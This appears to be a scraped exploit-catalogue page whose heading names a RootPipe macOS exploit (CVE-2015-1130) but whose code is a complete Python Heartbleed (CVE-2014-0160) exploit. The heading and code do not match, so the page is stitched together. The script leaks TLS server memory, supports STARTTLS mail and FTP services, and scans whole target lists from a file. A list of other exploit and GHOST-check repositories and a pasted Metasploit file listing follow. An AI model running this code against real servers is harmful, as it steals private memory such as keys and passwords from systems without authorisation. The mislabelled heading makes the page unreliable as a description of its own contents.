Catálogo de exploits

Proof of Concept OS X Application for RootPipe Privilege Escalation Vulnerability (CVE-2015-1130)

#!/usr/bin/python # Modified by Travis Lee # -changed output to display text only instead of hexdump and made it easier to read # -added option to specify number of times to connect to server (to get more data) # -added option to specify TLS version # -added option to send STARTTLS command for use with SMTP/POP/IMAP/FTP/etc... # -added option to specify an input file of multiple hosts, line delimited, with or without a port specified (host:port) # -added option to have verbose output # -added capability to automatically check if STARTTLS/STLS/AUTH TLS is supported when smtp/pop/imap/ftp ports are entered and automatically send appropriate command # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of times to connect/loop (default: 1)') options.add_option('-t', '--tls', type='int', default=1, help='Specify TLS version: 0 = 1.0, 1 = 1.1, 2 = 1.2 (default: 1)') options.add_option('-s', '--starttls', action="store_true", dest="starttls", help='Issue STARTTLS command for SMTP/POP/IMAP/FTP/etc...') options.add_option('-f', '--filein', type='str', help='Specify input file, line delimited, IPs or hostnames or IP:port or hostname:port') options.add_option('-v', '--verbose', action="store_true", dest="verbose", help='Enable verbose output') opts, args = options.parse_args() def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') # set TLS version if opts.tls == 0: hb = h2bin('''18 03 01 00 03 01 40 00''') elif opts.tls == 1: hb = h2bin('''18 03 02 00 03 01 40 00''') elif opts.tls == 2: hb = h2bin('''18 03 03 00 03 01 40 00''') else: hb = h2bin('''18 03 02 00 03 01 40 00''') def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] #hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat += ''.join((c if ((32 <= ord(c) <= 126) or (ord(c) == 10) or (ord(c) == 13)) else '.' )for c in lin) #print ' %04x: %-48s %s' % (b, hxdat, pdat) pdat = re.sub(r'([.]{50,})', '', pdat) return pdat def recvall(s, length, timeout=5): try: endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata except: print "Error receiving data: ", sys.exc_info()[0] def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None if opts.verbose: print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s, targ): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return '' if typ == 24: if opts.verbose: print 'Received heartbeat response...' #hexdump(pay) if len(pay) > 3: print 'WARNING: ' + targ + ':' + str(opts.port) + ' returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return hexdump(pay) if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return '' def bleed(targ, port): try: res = '' print print '##################################################################' print 'Connecting to: ' + targ + ':' + str(port) + ' with TLSv1.' + str(opts.tls) for x in range(0, opts.num): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sys.stdout.flush() s.settimeout(10) s.connect((targ, port)) # send starttls command if specified as an option or if common smtp/pop3/imap ports are used if (opts.starttls) or (port in {25, 587, 110, 143, 21}): stls = False atls = False # check if smtp supports starttls/stls if port in {25, 587}: print 'SMTP Port... Checking for STARTTLS Capability...' check = s.recv(1024) s.send("EHLO someone.org\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if pop3/imap supports starttls/stls elif port in {110, 143}: print 'POP3/IMAP4 Port... Checking for STARTTLS Capability...' check = s.recv(1024) if port == 110: s.send("CAPA\n") if port == 143: s.send("CAPABILITY\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "STLS" in check: opts.starttls = True stls = True print "STLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # check if ftp supports auth tls/starttls elif port in {21}: print 'FTP Port... Checking for AUTH TLS Capability...' check = s.recv(1024) s.send("FEAT\n") sys.stdout.flush() check += s.recv(1024) if opts.verbose: print check if "STARTTLS" in check: opts.starttls = True print "STARTTLS command found" elif "AUTH TLS" in check: opts.starttls = True atls = True print "AUTH TLS command found" else: print "STARTTLS command NOT found!" print '##################################################################' return # send appropriate tls command if supported if opts.starttls: sys.stdout.flush() if stls: print 'Sending STLS Command...' s.send("STLS\n") elif atls: print 'Sending AUTH TLS Command...' s.send("AUTH TLS\n") else: print 'Sending STARTTLS Command...' s.send("STARTTLS\n") if opts.verbose: print 'Waiting for reply...' sys.stdout.flush() recvall(s, 100000, 1) print print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) if opts.verbose: print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' print '##################################################################' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) res += hit_hb(s, targ) s.close() print '##################################################################' print return res except: print "Error connecting to host: ", sys.exc_info()[0] print '##################################################################' print def main(): allresults = '' # if a file is specified, loop through file if opts.filein: fileIN = open(opts.filein, "r") for line in fileIN: targetinfo = line.strip().split(":") if len(targetinfo) > 1: allresults = bleed(targetinfo[0], int(targetinfo[1])) else: allresults = bleed(targetinfo[0], opts.port) if allresults: print '%s' % (allresults) fileIN.close() else: if len(args) < 1: options.print_help() return allresults = bleed(args[0], opts.port) if allresults: print '%s' % (allresults) print if __name__ == '__main__': main()

CVE-2013-2094 kernel exploit for i386

CVE-2015-0235 EXIM ESTMP GHOST Glibc Gethostbyname() DoS Exploit/PoC

Spider Exploit with CVE-2013-2842

SecurityObscurity/cve-2015-0313

Using google to scan sites for "ShellShock" (CVE-2014-6271)

:broken_heart: Hearbleed exploit to retrieve sensitive information CVE-2014-0160 :broken_heart:

This is a Python Application that helps you detect if your machine that run bash is vulnerable by CVE-2014-6271

A shared library wrapper with additional checks for vulnerable functions gethostbyname2_r gethostbyname_r (GHOST vulnerability)

glibc gethostbyname bug

Playbooks 'Fix for CVE-2015-0235(GHOST)' running on Ansible

cookbook for update glibc. CVE-2015-0235(GHOST)

gethostbyname*() buffer overflow exploit in glibc - CVE-2015-0235 https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability

furyutei/CVE-2015-0235_GHOST

Ansible playbook, to check for CVE-2015-0235 (GHOST) vulnerability

CVE-2015-0235 patches lenny libc6 packages for amd64

A chef cookbook to test the GHOST vulnerability

Test wether you're exposed to ghost (CVE-2015-0235). All kudos go to Qualys Security

Ansible playbook to check vulnerability for CVE-2015-0235

Gain privileges:system -> root,as a part of https://github.com/retme7/CVE-2014-7911_poc

day6reak/CVE-2014-1773

tjjh89017/cve-2014-6332

cve2014-3153 exploit for ubuntu x86

CVE-2014-0196: Linux kernel pty layer race condition memory corruption

NTP monlist scanner CVE-2013-5211

Python scripts to exploit CVE-2014-9016 and CVE-2014-9034

app turn nil publics and privates into blanks 3 months ago config Use bundler/setup for more graceful bundler related failures 11 days ago data Add token fiddling from nishang 12 hours ago db Revert "Diff triggering comment" 12 days ago documentation Switch to Msf::OperatingSystems::Match::WINDOWS 2 months ago external Use PDWORD_PTR and DWORD_PTR 29 days ago features Up aruba timeout for simplecov overhead 4 days ago lib Check for load errors in reload_all 4 days ago modules Land #4255 - CVE-2014-6332 Internet Explorer 19 hours ago plugins Land #3588, @tobd-r7's Fix SpaceBeforeModifierKeyword Rubocop warning 4 months ago script rails generate cucumber:install 3 months ago scripts delete the old script a month ago spec Remove debug file writes 2 days ago test Fix up comment splats with the correct URI a month ago tools Fix bugs 24 days ago .gitignore Add note about rbenv for rvm .versions.conf local override 24 days ago .gitmodules Add RDI submodule, port Kitrap0d a year ago .mailmap Add @trosen-r7's alias for commits 6 months ago .rspec Add modern --require to .rspec 2 months ago .rubocop.yml Reapply PR #4113 (removed via #4175) 18 days ago .ruby-gemset Restoring ruby and gemset files 6 months ago .ruby-version Oh good, another Ruby version bump 14 days ago .simplecov Remove fastlib 2 months ago .travis.yml Enable fast_finish on travis-ci 12 days ago .yardopts Various merge resolutions from master <- staging 4 months ago CONTRIBUTING.md Add a don't to CONTRIBUTING about merge messages 11 days ago COPYING With 66 days left in 2014, may as well update a month ago Gemfile metasploit-credential bump to 0.13.3 16 days ago Gemfile.local.example Various merge resolutions from master <- staging 4 months ago Gemfile.lock Bump mdm version number 12 days ago HACKING Update link for The Metasploit Development Environment 5 months ago LICENSE Remove fastlib 2 months ago README.md Encourage use of the installer for users. 8 months ago Rakefile Merge branch 'feature/MSP-11130/metasploit-framework-spec-constants' … 24 days ago metasploit-framework-db.gemspec metasploit-credential bump to 0.13.3 16 days ago metasploit-framework-full.gemspec Update metasploit-framework-full.gemspec 23 days ago metasploit-framework-pcap.gemspec Depend on metasloit-framework in optional gemspecs 24 days ago metasploit-framework.gemspec Update meterpreter_bins to 0.0.11 18 days ago msfbinscan Remove fastlib 2 months ago msfcli Fix thread-leaks in msfcli spec 17 days ago msfconsole @wvu-r7 is a skilled negotiator. s/stdout/stderr/ a month ago msfd Remove fastlib 2 months ago msfelfscan Remove fastlib 2 months ago msfencode Remove fastlib 2 months ago msfmachscan Remove fastlib 2 months ago msfpayload fixes merge conflicts msfpayload & exe a month ago msfpescan Remove fastlib 2 months ago msfrop Remove fastlib 2 months ago msfrpc Remove fastlib 2 months ago msfrpcd Remove call to legacy db.sink queue, closes #4244 7 days ago msfupdate Always use maybe_wait_and_exit in msfupdate a year ago msfvenom Fix #4047 - undefined method `rank' due to an invalid encoder name 19 days ago README.md

Spydir is a small utility to monitor file changes in Windows directory regardless of subdirectory and files permissions (exploits CVE-2007-0843)

PowerShell CVE-2014-4113